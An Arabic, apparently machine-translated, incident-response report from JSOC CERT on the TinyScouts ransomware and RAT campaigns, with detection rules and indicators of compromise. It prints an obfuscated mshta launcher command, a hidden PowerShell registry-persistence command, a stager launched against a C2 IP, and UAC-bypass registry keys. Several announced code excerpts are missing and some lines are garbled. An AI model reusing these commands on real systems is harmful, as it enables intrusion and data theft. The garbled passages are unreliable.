تجدر الإشارة إلى جانبين من أنشطة المجموعة: الأول ، المستوى العالي من المهارات الفنية للمهاجمين ، وثانيًا ، تنوع سيناريو الهجوم. إذا لم تكن مهتمًا كضحية ، فسوف يسرقون كلمات المرور ويقومون بتشفير البيانات ، ولكن إذا كان جهازك في مجال مثير للاهتمام ولديه إمكانية تطوير هجوم أكثر إثارة للاهتمام ، فسيقومون بتنزيل أداة الإدارة عن بعد (RAT) المكتوبة في PowerShell. أطلقنا على التجميع TinyScouts بعد أسماء الوظائف من الشفرة الخبيثة. في هذه المقالة ، سنخبرك عن حملتيها الأخيرتين ، والتي يمكن تقسيمها بشروط على شهور - يوليو وأغسطس 2020 ، وسنقوم بتحليل كامل لأدوات ونصوص TinyScouts.
حملة يوليو. تحميل مباشر
في يوليو ، تم توزيع البرنامج الضار على شكل ملف lnk الذي نفذ الأمر التالي:
%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)
نتيجة لتشغيل mshta.exe ، تم تنفيذ نص JS المشوش. تتمثل مهمتها في استخراج مستند من جسم ملف lnk للإلهاء ، وفتحه من خلال rundll32.exe وتشغيل أمر PowerShell المبهم. يتم عرض جزء من البرنامج النصي بعد
إلغاء التعتيم أدناه: البرنامج النصي في تنفيذ الأحمال المتغيرة وتشغيل برنامج نصي آخر مبهم من PowerShell يسمى Decide (request to decide.php). فيما يلي مثال على التشويش:
مهمة هذا البرنامج النصي هي التحقق من توافق الكمبيوتر مع بعض المعلمات وتنزيل التحميل التالي من الخوادم. يتم عرض مقتطف من الشفرة المبهمة أدناه:
يتم التحقق من وجود برنامج TeamViewer وجلسات RDP وحقيقة تسجيل الدخول إلى المجال من أجل تحديد التحميل الذي يجب تنزيله. في حالة وجود نظام "مثير للاهتمام" ، يتم تحميل RAT ، وإلا - فيروسات الفدية. في كلتا الحالتين ، هذه نصوص مخفية في عدة طبقات.
حملة أغسطس (جارية). خدمات تور المخفية
في أوائل أغسطس ، تغير نظام التوزيع: الآن تحتوي الرسائل على رابط لتنزيل أرشيف sfx ، والذي يحتوي على 4 ملفات:
- document.doc. مستند مفتوح للإلهاء ولا يحمل حمولة ضارة.
- 7za.exe. 7Z - أرشيفي.
- wget.exe. الأداة المساعدة wget الأصلية.
- الخدمات. JS النصي Stager 1
عند بدء أرشيف sfx ، يتم تنفيذ الإجراءات التالية:
1) تم فتح document.doc
2) باستخدام wget و 7z ، يتم تنزيل TOR و node.exe وفك حزمهما من الروابط التالية:
www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) باستخدام node.exe ، يتم تشغيل البرنامج النصي Stager 1:
C: \ Windows \ System32 \ cmd.exe "/ c إذا اسم مضيف غير موجود (خدمة العقدة 192.248 [.] 165.254)
فيما يلي نص Stager 1 غير المعزول :
يتلقى البرنامج النصي للخدمة عنوان خادم التحكم كوسيطة ، وعند بدء التشغيل ، يقوم بإنشاء TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). تجدر الإشارة إلى أنه عند بدء تشغيل خدمة TOR المخفية ، يتم إنشاء اسمها (يشبه اسم مورد عادي في شبكة TOR ، على سبيل المثال ، vkss134jshs22yl3li2ul.onion). بعد ذلك ، يرسل البرنامج النصي اسم الخدمة المخفية الذي تم إنشاؤه إلى المهاجم ويظهر خادم الويب المحلي. بعد ذلك ، يتواصل المهاجم مع النظام المصاب في وضع الطلب / الاستجابة لخادم الويب (السطر 19 في الكود) ، حيث تحتوي الطلبات على رمز التنفيذ ، وتحتوي الردود على النتائج.
تسمح هذه البنية للمهاجم بالوصول إلى نظام مصاب ، حتى لو كان وراء NAT (الشرط الرئيسي هو وجود الإنترنت) ، ويجعل من غير الضروري معرفة عنوان IP "الأبيض" للضحية.
يأتي الطلب الأول إلى خادم الويب المرفوع من البرنامج النصي Decider ، وتتمثل مهمته في تحديد حقيقة انضمام الكمبيوتر إلى المجال ، وكذلك الحصول على اسم المستخدم. هذه المرة ، لا توجد عمليات فحص لبرنامج TeamViewer و RDP:
بعد إرسال نتائج البرنامج النصي Decider إلى المهاجم ، يتم إرسال طلب ويب إلى النظام المصاب يحتوي إما على برامج الفدية أو RAT ، اعتمادًا على مصلحة المهاجم.
الوحدات المشتركة في كلتا الحملتين
البرنامج النصي Stager 3
يحتوي البرنامج النصي الرئيسي على 5 مكونات مشفرة في base64:
- Encryptor ransomware
- Readme
- WebBrowserPassView
- Mail PassView
- Injector. , WebBrowserPassView Mail PassView svchost. RunPE.
وظائف البرنامج النصي Stager 3 :
1) بدء تشغيل برنامج الفدية (وظيفة Get-Stuff) يوجد
أدناه جزء من رمز البرنامج النصي مع إطلاق برنامج الفدية:
2) تجاوز UAC (لإزالة النسخ الاحتياطية)
هناك ثلاث تقنيات في الكود: استخدام csmtp.exe و CompMgmtLauncher.exe و ملف fodhelper.exe. يمكنك أن تقرأ عنها هنا ، هنا و هنا .
3) إزالة النسخ الاحتياطية
4) تشغيل WebBrowserPassView و Mail PassView
هذه أدوات مساعدة من Nirsoft لاستخراج كلمات المرور من المستعرضات وعملاء البريد الإلكتروني ، على التوالي.
5) إرسال تقارير الأدوات المذكورة أعلاه إلى خادم الإدارة.
قبل الإرسال ، يتم تشفير التقارير باستخدام خوارزمية RC4 بمفتاح مُولد (4 أحرف):
يتم وضع المفتاح نفسه في بداية الرسالة:
Encryptor ransomware
تبدو رسالة readme بالشكل التالي:
المشفر عبارة عن ملف .NET قابل للتنفيذ بدون أي تشويش. يتم تشفير الملفات باستخدام خوارزمية AES. يتم إنشاء مفتاح منفصل ومتجه التهيئة لكل ملف ، والذي يتم بعد ذلك تشفيره باستخدام المفتاح العام RSA ووضعه في الملف المشفر. تظهر الوظيفة الرئيسية لبرامج الفدية أدناه:
فأر
يحتوي هذا النص على عدة طبقات من التشويش. بعد فك التشفير ، يمكنه تنفيذ الأوامر التالية:
- حذف - حذف ذاتي
- exec - تنفيذ أمر PowerShell
- تنزيل - تنزيل الملف
- set_wait_time - تغيير وتيرة طلبات الأمر
- update_tiny - تحديث RAT
- ؛ run_module - قم بتشغيل كتلة أوامر PowerShell
- add_persist_module - أضف وحدة PowerShell إلى النظام الذي سيتم تنفيذه في كل مرة يتم فيها بدء RAT.
- remote_persist_module - إزالة وحدة نمطية من قائمة بدء تشغيل RAT.
تظهر وظيفة معالجة الأوامر غير المبهمة أدناه:
طريقة التثبيت
يتم استخدام مفتاحين للتثبيت:
1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. يتم وضع الأمر التالي في هذا المفتاح (يتم تفكيك الخط):
cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»
2) HKCU \ SOFTWARE \ مايكروسوفت \ ويندوز. هذا هو المكان الذي يتم فيه تخزين البرنامج النصي في قيمة تسمى client_id. وبالتالي ، عند بدء تشغيل النظام ، يقوم الأمر من مفتاح التشغيل بقراءة النص وتشغيله من هنا.
client_id - سلسلة من تنسيق AppX + base64 (اسم المضيف + اسم المستخدم + معرّف الحملة)
تبدو وظيفة التثبيت كما يلي:
نص برمجي تم فك تشفيره يتم وضعه في تشغيل:
تجدر الإشارة إلى أن رمز البرنامج الضار لا يتم تخزينه على القرص أو في السجل: يتم تحميله من جديد في كل مرة مع النص أعلاه.
أمر Add_persist_module
تمتلك RAT القدرة على إضافة وحدات PowerShell النمطية التي سيتم تشغيلها عند كل بدء تشغيل. لهذا ، يتم استخدام مفتاح تسجيل منفصل ، والذي يخزن معرفات الوحدة. أثناء بدء التشغيل ، يتم التحقق من هذا المفتاح ، ويقوم البرنامج الضار بتقديم طلب إلى الخادم ، وتنزيل جميع الوحدات من خلال معرفاتها.
عند بدء تشغيل البرنامج الضار ، يتم تشغيل وظيفة Load-AllPersistModules لتشغيل جميع الوحدات المضافة:
لا يتم تخزين رمز الوحدة أيضًا على الأقراص أو في التسجيل ، تمامًا مثل الجسم الرئيسي لـ RAT.
تفاعلات الخادم
يحتوي الرمز على ثابت CampaignID ، والذي يتم استخدامه عند تسجيل RAT عند بدء التشغيل (وظيفة تسجيل صغيرة) كمفتاح تشفير. خوارزمية التشفير هي RC4. بعد إرسال المعلومات الأساسية عن النظام ، تحتوي استجابة الخادم على مفتاح التشفير ، والذي سيتم استخدامه في المستقبل بنفس الخوارزمية.
الجوانب الفنية لاكتشاف بيانات الحملة
للإجابة على سؤال حول كيفية اكتشاف هذا أو ذاك ، نحاول تقسيم جميع القواعد إلى مجموعتين كبيرتين:
- الكشف عن الحالات الشاذة على مستوى النظام ،
- كشف الشذوذ لشركة / عائلة / أداة معينة.
كشف الشذوذ على مستوى النظام
التفاعل مع الخوادم الوسيطة و n:
في حملة يوليو من حيث الكشف عن هذا النشاط وحجبه ، يكفي إضافة عناوين IP وأسماء المجال إلى قوائم الحظر ، مع عدم نسيان مراقبة محاولات الوصول إليها.
في شهر أغسطس ، أصبح الأمر أكثر صعوبة مع جانب اكتشاف الشبكة ، وهنا يجدر الانتباه إلى ما يلي:
- لا يزال بإمكاننا حظر وإخراج بعض عناوين IP وأسماء المجالات للمراقبة ؛
- يجبرنا وجود نشاط الشبكة من خلال TOR على تخزين وتحديث قوائم عناوين IP المشاركة في بناء هذه الشبكة ديناميكيًا. وهنا بالنسبة لنا ، يمكن أن تكون قاعدة الكشف بمثابة استئناف لعنوان IP من شبكة TOR ؛
- , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .
بالنسبة لكلتا الحملتين ، ستعمل مجموعة قواعد IDS التي تهدف إلى اكتشاف طرق PowerShell المحددة المستخدمة أو نموذج Base64 المحول بشكل جيد.
تشغيل التعليمات البرمجية على النظام الهدف
يوجد مصدران للأحداث ، تدقيق Windows و Sysmon.
PowerShell Script Block Logging
السجل الذي يحتوي على سجلات برامج PowerShell النصية قيد التشغيل. يقع في المسار التالي: سجلات التطبيقات والخدمات> Microsoft> Windows> Powershell> التشغيلية.
ستعمل قواعد الكشف ، التي تهدف إلى اكتشاف طرق PowerShell محددة قيد الاستخدام ، على القيام بعمل جيد للكشف عن نشاط هذه الحملات. بدء عملية
سجل الأمان (أو Sysmon)
- 4648 (1)
لاكتشاف هذا النشاط ، يلزم وجود قواعد كلاسيكية لاكتشاف الحالات الشاذة فيما يتعلق بالأب -> عمليات الطفل. يتم تتبع هذه الحزم جيدًا أثناء عملية بدء التشغيل على المضيف: md-> mshta، cmd- >owershell، mshta- >owershell، rar-> rundll32، node-> wmic.
يمكن أن تساعد قاعدة تتبع المعلمات المشبوهة لعمليات البدء أيضًا: »معالجة
اتصال الشبكة - 5156 (3)
يجب أن تساعد قاعدة الكشف عن اتصال الشبكة من عملية PowerShell إلى عناوين IP البيضاء في اكتشاف هذا النشاط.
أيضًا ، خلال حملة أغسطس ، ستساعد قواعد اكتشاف حركة مرور الخادم الوكيل الداخلية إلى 127.0.0.1 كثيرًا (هذا ما يفعله TOR وخادم الويب المحلي).
إدخال التسجيل - 4657 (13)
تحتفظ RAT المكتوبة في PowerShell بوجودها من خلال فرع التسجيل المشترك HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run ، مما يعني أن قاعدة مراقبة السجلات على طول هذا المسار هي خيارنا.
الكشف عن محاولات تجاوز تقنية التحكم بحساب المستخدم: تغييرات في فروع التسجيل التالية -
HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration
كشف الشذوذ لشركة / عائلة / أداة معينة
تشغيل الكود على النظام الهدف
عمليات البدء - 4648 (1)
هنا تحتاج إلى قاعدة لتتبع المعلمات المشبوهة لعمليات البدء: C: \ Windows \ System32 \ cmd.exe "/ c إذا لم يكن موجودًا اسم المضيف (خدمة العقدة)
الكتابة إلى السجل - 4657 (13 )
يحتفظ RAT ، المكتوب في PowerShell ، أيضًا بحضور من خلال سجل الفرع HKCU \ SOFTWARE \ Microsoft \ Windows ، وبالتالي من أجل الكشف ، نحتاج إلى تتبع قيم السجل «client_id» على طول هذا المسار. تتعارض
المؤشرات:
a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170
مؤلفو المنشور :
إيغور زالفسكي ، رئيس قسم التحقيق في الحوادث السيبرانية في JSOC CERT
Asker Jamirze ، خبير التحقيق الفني في JSOC CERT Department